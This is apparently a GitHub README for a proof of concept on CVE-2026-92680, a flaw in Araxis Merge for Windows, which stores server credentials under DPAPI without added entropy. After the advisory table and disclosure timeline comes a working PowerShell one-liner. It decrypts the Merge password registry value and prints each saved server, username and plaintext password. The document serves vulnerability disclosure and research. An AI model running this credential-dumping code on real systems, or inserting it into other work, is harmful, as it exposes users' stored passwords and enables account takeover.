grepstrength/cve-2026-92680Proof-of-concept decrypting Araxis Merge's DPAPI-protected server credentials (CVE-2026-92680), demonstrating insufficiently protected credential storage on Windows.
Araxis Merge for Windows stores server credentials with DPAPI with pOptionalEntropy set to NULL. This allows any code running in the same user context to decrypt them.
Full writeup: https://grepstrength.com/research/araxis-merge
| CVE | CVE-2026-92680 |
| CWE | CWE-522: Insufficiently Protected Credentials |
| CVSS v4.0 | 6.8 (AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N) |
| CVSS v3.1 | 5.5 (AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N) |
| Vendor | Araxis Ltd. |
| Affected | Araxis Merge for Windows 2011.4074 through 2026.0 |
| Fixed in | 2026.1 |
| Vendor advisory | Merge-SA-26-00 |
| Reported | 2026-08-18 |
| Disclosed | 2026-09-23 |
| Reporter | Kelvin Winborne (grepStrength) |
This will decrypt and parse HKCU\Software\Araxis\Merge\7.1\Passwords. This must be run as the same Windows user that originally stored the credentials.
Add-Type -AssemblyName System.Security; $p=[Security.Cryptography.ProtectedData]::Unprotect((Get-ItemProperty "HKCU:\Software\Araxis\Merge\7.1").Passwords,$null,'CurrentUser'); $i=48; $f=@(); while($i -lt $p.Length){$l=[BitConverter]::ToInt64($p,$i+8);$i+=16;$f+=[Text.Encoding]::Unicode.GetString($p,$i,$l*2);$i+=$l*2}; 0..($f.Count/4-1)|%{[PSCustomObject]@{Server=$f[$_*4+1];Username=$f[$_*4+2];Password=$f[$_*4+3]}}|Format-Table -AutoSize
All testing was performed on systems owned by grepStength Security using only synthetic credentials. This was reported to Araxis Ltd. and publicly disclosed after a fix was made available.
MIT